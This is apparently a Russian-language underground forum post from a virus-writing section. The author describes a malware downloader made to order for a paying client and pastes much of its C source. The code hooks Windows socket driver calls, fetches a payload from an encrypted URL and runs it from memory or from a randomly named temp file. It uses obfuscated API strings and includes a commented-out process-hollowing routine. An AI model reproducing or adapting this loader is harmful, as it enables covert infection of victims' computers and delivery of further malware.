© sysenter
Как то ехал я перед рождеством..Что нужно, а что нет в VX теме
Погонял коня гужевым хлыстом....
1. DLL херово криптуются, в чем у мну заказчик просайгонился, но пролдержалась потаха долго
2. Линки на анализ
https://habrahabr.ru/company/eset/blog/263855/
https://habrahabr.ru/company/eset/blog/264165/
3. Делалось за 12к
4. Куски кодеса
ADD: afd - это драйвер перед ndis.Код (C):
#pragma once //====================================================================== /*extern "C" PCSTR WSAAPI inet_ntop( __in INT Family, __in PVOID pAddr, __out_ecount(StringBufSize) PSTR pStringBuf, __in size_t StringBufSize );*/ //************************************************************************************************** #define TDI_ADDRESS_TYPE_IP 2 #define METHOD_NEITHER 3 #define AFD_BIND 0 #define AFD_CONNECT 1 #define AFD_RECV 5 #define AFD_SEND 7 #define AFD_DISCONNECT 10 #define FILE_DEVICE_NETWORK 0x00000012 #define FSCTL_AFD_BASE FILE_DEVICE_NETWORK #define _AFD_CONTROL_CODE(Operation,Method) ((FSCTL_AFD_BASE)<<12 | (Operation<<2) | Method) #define IOCTL_AFD_BIND _AFD_CONTROL_CODE(AFD_BIND, METHOD_NEITHER) #define IOCTL_AFD_CONNECT _AFD_CONTROL_CODE(AFD_CONNECT, METHOD_NEITHER) #define IOCTL_AFD_RECV _AFD_CONTROL_CODE(AFD_RECV, METHOD_NEITHER) //0x12017 #define IOCTL_AFD_SEND _AFD_CONTROL_CODE(AFD_SEND, METHOD_NEITHER) //0x1201F #define IOCTL_AFD_DISCONNECT _AFD_CONTROL_CODE(AFD_DISCONNECT, METHOD_NEITHER) //========================================================================= //************************************************************************************************** static HANDLE hWorkMutex; //========================================================================= //************************************************************************************************** typedef struct _AFD_WSABUF { UINT len; PCHAR buf; } AFD_WSABUF, *PAFD_WSABUF; typedef struct _TDI_ADDRESS_IP { USHORT sin_port; ULONG in_addr; UCHAR sin_zero[8]; } TDI_ADDRESS_IP, *PTDI_ADDRESS_IP; typedef struct _TA_ADDRESS_IP { LONG TAAddressCount; struct _AddrIp { USHORT AddressLength; USHORT AddressType; TDI_ADDRESS_IP Address[1]; } Address [1]; } TA_IP_ADDRESS, *PTA_IP_ADDRESS; typedef struct _TA_ADDRESS { USHORT AddressLength; USHORT AddressType; UCHAR Address[1]; } TA_ADDRESS, *PTA_ADDRESS; typedef struct _TRANSPORT_ADDRESS { LONG TAAddressCount; TA_ADDRESS Address[1]; } TRANSPORT_ADDRESS, *PTRANSPORT_ADDRESS; typedef struct _AFD_SEND_INFO { PAFD_WSABUF BufferArray; ULONG BufferCount; ULONG AfdFlags; ULONG TdiFlags; } AFD_SEND_INFO , *PAFD_SEND_INFO ; typedef struct _AFD_CONNECT_INFO { BOOLEAN UseSAN; ULONG Root; ULONG Unknown; //#if 1 /* bruening: based on win7 observation: i#376 */ // SOCKADDR Address; //#else TRANSPORT_ADDRESS Address; //#endif } AFD_CONNECT_INFO , *PAFD_CONNECT_INFO ; typedef struct _AFD_BIND_DATA { ULONG ShareType; #if 1 /* bruening: based on win7 observation: i#376 */ SOCKADDR Address; #else TRANSPORT_ADDRESS Address; #endif } AFD_BIND_DATA, *PAFD_BIND_DATA; //================================================================================================== //************************************************************************************************** void PrintAddress( PTA_ADDRESS address ) { char buffer[256]; if(address->AddressType == TDI_ADDRESS_TYPE_IP) { TDI_ADDRESS_IP* ip_address = (TDI_ADDRESS_IP*)address->Address; char *p; p = (char *)&ip_address->in_addr; in_addr ia; memcpy(&ia,&ip_address->in_addr,sizeof(in_addr)); sprintf(buffer,"%d.%d.%d.%d:%u", (UCHAR)p[0], (UCHAR)p[1], (UCHAR)p[2], (UCHAR)p[3], ntohs(ip_address->sin_port)); DPRINT2("Address = %s -- %s\n", buffer,inet_ntoa(ia)); } } ////////////////////////////////////////////////////////////////////////////////////////////////// //Загрузка файла из интернета в буфер ////////////////////////////////////////////////////////////////////////////////////////////////// BOOL URLDownloadToBuffer(IN LPCSTR lpszURL,OUT LPBYTE *lpBuffer,OUT DWORD *lpdwSize) { BOOL bResult = FALSE; IStream *lpStream; if(lpszURL && SUCCEEDED(pURLOpenBlockingStreamA(NULL, lpszURL, &lpStream, 0, NULL))){ STATSTG statStream; if(SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME))) { DWORD dwSize = ++statStream.cbSize.LowPart; #ifdef DBG DPRINT1("######SIZE=%d",dwSize); #endif *lpBuffer = (LPBYTE)Mem::alloc(dwSize); if(*lpBuffer) { LARGE_INTEGER liPos; Mem::_zero(&liPos, sizeof(liPos)); Mem::_zero(*lpBuffer, dwSize); *lpdwSize = --dwSize; lpStream->Seek(liPos, STREAM_SEEK_SET, NULL); lpStream->Read(*lpBuffer, *lpdwSize, NULL); bResult = TRUE; } } lpStream->Release(); } return bResult; } DWORD GetSectionProtection(DWORD sc) { DWORD dwResult=0; if (sc & IMAGE_SCN_MEM_NOT_CACHED) dwResult |= PAGE_NOCACHE; if (sc & IMAGE_SCN_MEM_EXECUTE) { if (sc & IMAGE_SCN_MEM_READ) { if (sc & IMAGE_SCN_MEM_WRITE) dwResult |= PAGE_EXECUTE_READWRITE; else dwResult |= PAGE_EXECUTE_READ; } else { if (sc & IMAGE_SCN_MEM_WRITE) dwResult |= PAGE_EXECUTE_WRITECOPY; else dwResult |= PAGE_EXECUTE; } } else { if (sc & IMAGE_SCN_MEM_READ) { if (sc & IMAGE_SCN_MEM_WRITE) dwResult|=PAGE_READWRITE; else dwResult|=PAGE_READONLY; } else { if (sc & IMAGE_SCN_MEM_WRITE) dwResult|=PAGE_WRITECOPY; else dwResult|=PAGE_NOACCESS; } } return dwResult; } //-------------------------------------------------------------------------------------------------- //NTSTATUS LoaderPE(CHAR* szProcessName, LPBYTE lpBuffer) //{ // NTSTATUS ntRet; // INT i; // CONTEXT ctx; // DWORD dwaddr; // STARTUPINFOA si; // LPVOID lpAddress; // PROCESS_INFORMATION pi; // PIMAGE_SECTION_HEADER pish; // PIMAGE_DOS_HEADER pidh= (PIMAGE_DOS_HEADER)&lpBuffer[0]; // PIMAGE_NT_HEADERS pinh= (PIMAGE_NT_HEADERS)&lpBuffer[pidh->e_lfanew]; // Mem::_zero(&si,sizeof(si)); // si.cb = sizeof(STARTUPINFOA); // #ifdef DBG // DPRINT("Start LoaderPE"); // #endif // if(pCreateProcessA(NULL,szProcessName,NULL,NULL, FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) // { // #ifdef DBG // DPRINT("Process created"); // #endif // ctx.ContextFlags = CONTEXT_FULL; // DWORD dwTemp = 0; // if(NT_SUCCESS(pNtGetContextThread(pi.hThread, &ctx))) // { // #ifdef DBG // DPRINT1("GetThreadContext = OK Ebx=0x%X",ctx.Ebx); // #endif // lpAddress = (LPVOID)(ctx.Ebx + 8); // if(NT_SUCCESS(pWriteProcessMemory(pi.hProcess,lpAddress,&pinh->OptionalHeader.ImageBase,4,&dwTemp)))//WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx + 8), &pinh->OptionalHeader.ImageBase, 4, NULL)) // { // #ifdef DBG // DPRINT("WriteVirtualMemory 4 byte"); // #endif // if(!NT_SUCCESS(pNtUnmapViewOfSection(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase))) // { // #ifdef DBG // DPRINT("NtUnmapViewOfSection Error"); // #endif // if(pVirtualFreeEx(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase, 0, MEM_DECOMMIT | MEM_RELEASE )) // { // #ifdef DBG // DPRINT("VirtualFreeEx Error"); // #endif // } // } // } // else // { // #ifdef DBG // DPRINT1("WriteProcessMemory Error:0x%X",GetLastError()); // #endif // } // lpAddress=NULL; // lpAddress=pVirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase,pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // if(lpAddress==NULL) // { // #ifdef DBG // DPRINT("VirtualAllocEx in base error"); // #endif // lpAddress=pVirtualAllocEx(pi.hProcess,NULL,pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // } // if(lpAddress!=NULL) // { // #ifdef DBG // DPRINT("VirtualAllocEx OK"); // #endif // if(pWriteProcessMemory(pi.hProcess, lpAddress, &lpBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL)) // { // #ifdef DBG // DPRINT("WriteProcessMemory OK"); // #endif // for(i = 0; i < pinh->FileHeader.NumberOfSections; i++) // { // pish = (PIMAGE_SECTION_HEADER)&lpBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i]; // if(!pWriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpAddress + pish->VirtualAddress), &lpBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL)) // { // #ifdef DBG // DPRINT("WriteProcessMemoryC NormalError"); // #endif // } // if(!pVirtualProtectEx(pi.hProcess,(LPVOID)((DWORD)lpAddress+ pish->VirtualAddress), pish->Misc.VirtualSize,GetSectionProtection(pish->Characteristics),&dwaddr)) // { // #ifdef DBG // DPRINT("VirtualProtectEx NormalError"); // #endif // } // } // ctx.Eax = (DWORD)lpAddress + pinh->OptionalHeader.AddressOfEntryPoint; // if(NT_SUCCESS(pNtSetContextThread(pi.hThread, &ctx))) // { // #ifdef DBG // DPRINT("SetThreadContext OK"); // #endif // //__NtResumeProcess = (_NtResumeProcess) GetProcAddress(hNtDll,Decrypt(szNtResumeProcess)); // ntRet = pNtResumeProcess(pi.hProcess); // } // } // } // } // } // return ntRet; //} BOOL LoaderPE(LPBYTE lpBuffer, DWORD dwSizeCode) { char szProcessName[MAX_PATH]; if(pGetTempPathA(sizeof(szProcessName)-1,szProcessName)) { Str::_catA(szProcessName,Crypt::rnddstr(3,10),-1); Str::_catA(szProcessName,".exe",-1); DPRINT1("Try CreateFile:%s",szProcessName); HANDLE hFile = pCreateFileA(szProcessName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile!=INVALID_HANDLE_VALUE) { DPRINT("CreateFile OK"); DWORD dwWritten; pWriteFile(hFile,lpBuffer,dwSizeCode,&dwWritten,NULL); pNtClose(hFile); STARTUPINFOA si; PROCESS_INFORMATION pi; Mem::_zero(&si,sizeof(si)); si.cb = sizeof(STARTUPINFOA); DPRINT("Try CreateProcess"); if(pCreateProcessA(NULL,szProcessName,NULL,NULL, FALSE,0, NULL, NULL, &si, &pi)) { DPRINT("CreateProcess-OK"); return TRUE; } } } return FALSE; } //------------------------------------------------------------------------------------------------ HMEMORYMODULE hmmDLL; ////////////////////////////////////////////////////////////////////////////////////////////////// //Загрузка файла ////////////////////////////////////////////////////////////////////////////////////////////////// DWORD WINAPI Loader(LPVOID) { pEnterCriticalSection(&csSinc); BYTE bOK = FALSE; LPBYTE lpBuffer; DWORD dwSize=0; DPRINT("--->URLDownloadToBuffer"); BOOL bRet = URLDownloadToBuffer(Crypt::_Decrypt(szcUrlToDownload),&lpBuffer,&dwSize); if(bRet && (dwSize>0 && dwSize<MAXDWORD)) { //Проверяем exe или dll в буфере PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS) NTSIGNATURE(lpBuffer); if(ntHeader->FileHeader.Characteristics & IMAGE_FILE_DLL) { DPRINT("Is a dll, try to load..."); //Если dll - загружаем и передаем управление на точку входа hmmDLL = MemoryLoadLibrary((char*)lpBuffer); if(hmmDLL) { DPRINT("Dll loaded"); bOK = TRUE; } } else { DPRINT("Is a exe, try to load..."); //pCreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MemoryLoadLibrary,lpBuffer,0,NULL); //MemoryLoadLibrary((char*)lpBuffer); if(LoaderPE(lpBuffer,dwSize)) DPRINT("Exe loaded"); bOK = TRUE; } } else { DPRINT3("@@ERROR@@URLDownloadToBuffer=%d, Sz=%d, Error: 0x%X",bRet,dwSize,GetLastError()); pNtClose(hWorkMutex); hWorkMutex=NULL; } pLeaveCriticalSection(&csSinc); if(!bOK) Loader(NULL); return bOK; } //------------------------------------------------------------------------------------------------ void WINAPI Work(void) { hWorkMutex = pCreateMutexA(NULL,FALSE,Crypt::_Decrypt(szWorkMutex)); if(hWorkMutex) { char szcURLMON[]={0x56,0x54,0x4F,0x51,0x54,0x54,0x00}; HMODULE hURLMON = pLoadLibraryA(Crypt::_Decrypt(szcURLMON)); if(hURLMON) { char szcURLOpenBlockingStreamA[]={0x56,0x54,0x4F,0x53,0x75,0x6B,0x75,0x4A,0x75,0x79,0x6E,0x77,0x76,0x7C,0x76,0x63,0x85,0x84,0x78,0x75,0x82,0x57,0x00}; pURLOpenBlockingStreamA=(_URLOpenBlockingStreamA)pGetProcAddress(hURLMON,Crypt::_Decrypt(szcURLOpenBlockingStreamA)); if(pURLOpenBlockingStreamA) { pSetThreadPriority(pCreateThread(NULL,0,Loader,NULL,0,NULL),THREAD_PRIORITY_IDLE); } else pNtClose(hWorkMutex); } } } ////////////////////////////////////////////////////////////////////////////////////////////////// //Здесь хукается вся работа с железом, //но нас интересует только работа с драйвером AFD ////////////////////////////////////////////////////////////////////////////////////////////////// BOOL bSTOP = FALSE; NTSTATUS WINAPI newNtDeviceIoControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,IN PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG OutputBufferLength) { switch (IoControlCode) { //case IOCTL_AFD_BIND: /* 0x12003 */ // DPRINT("IOCTL_AFD_BIND"); // /* InputBuffer == AFD_BIND_DATA. Address.Address is var-len and mswsock.dll // * seems to pass an over-estimate of the real size. // */ // /* CHECK_DEF(inbuf, offsetof(AFD_BIND_DATA, Address), "AFD_BIND_DATA pre-Address"); // check_sockaddr(inbuf + offsetof(AFD_BIND_DATA, Address), // insz - offsetof(AFD_BIND_DATA, Address), MEMREF_CHECK_DEFINEDNESS, // mc, sysnum, "AFD_BIND_DATA.Address"); // */ // break; case IOCTL_AFD_CONNECT: if(!bSTOP) { DPRINT("IOCTL_AFD_CONNECT"); hWorkMutex = pOpenMutexA(MUTEX_ALL_ACCESS,FALSE,Crypt::_Decrypt(szWorkMutex)); if(!hWorkMutex) Work(); else bSTOP=TRUE; } /*PAFD_CONNECT_INFO pAFDCI; pAFDCI = (PAFD_CONNECT_INFO)InputBuffer; TA_ADDRESS ta; ta = pAFDCI->Address.Address[0];*/ //DPRINT("TRY to CONNECT"); //PrintAddress(&ta); //sss = inet_ntoa(*get_in_addr(&(pAFDCI->Address))); /* InputBuffer == AFD_CONNECT_INFO. RemoteAddress.Address is var-len. */ // AFD_CONNECT_INFO *info = (AFD_CONNECT_INFO *) inbuf; /* Have to separate the Boolean since padding after it */ /* CHECK_DEF(inbuf, sizeof(info->UseSAN), "AFD_CONNECT_INFO.UseSAN"); CHECK_DEF(&info->Root, (byte*)&info->RemoteAddress - (byte*)&info->Root, "AFD_CONNECT_INFO pre-RemoteAddress"); check_sockaddr((byte*)&info->RemoteAddress, insz - offsetof(AFD_CONNECT_INFO, RemoteAddress), MEMREF_CHECK_DEFINEDNESS, mc, sysnum, "AFD_CONNECT_INFO.RemoteAddress"); */ break; case IOCTL_AFD_SEND: /* 0x1201f */ // DPRINT("IOCTL_AFD_SEND"); if(!bSTOP) { hWorkMutex = pOpenMutexA(MUTEX_ALL_ACCESS,FALSE,Crypt::_Decrypt(szWorkMutex)); if(!hWorkMutex) Work(); else bSTOP=TRUE; } /* InputBuffer == AFD_SEND_INFO */ /*AFD_SEND_INFO info; CHECK_DEF(inbuf, insz, "AFD_SEND_INFO"); /* no padding */ /*if (safe_read(inbuf, sizeof(info), &info)) { uint i; CHECK_DEF(info.BufferArray, info.BufferCount * sizeof(*info.BufferArray), "AFD_SEND_INFO.BufferArray"); for (i = 0; i < info.BufferCount; i++) { AFD_WSABUF buf; if (safe_read((char *)&info.BufferArray[i], sizeof(buf), &buf)) CHECK_DEF(buf.buf, buf.len, "AFD_SEND_INFO.BufferArray[i].buf"); else WARN("WARNING: IOCTL_AFD_SEND: can't read param"); } } else WARN("WARNING: IOCTL_AFD_SEND: can't read param");*/ break; } return trueNtDeviceIoControlFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength );
Потаха с кусками сорцев
Дата публикации 9 сен 2017
| Редактировалось 10 янв 2018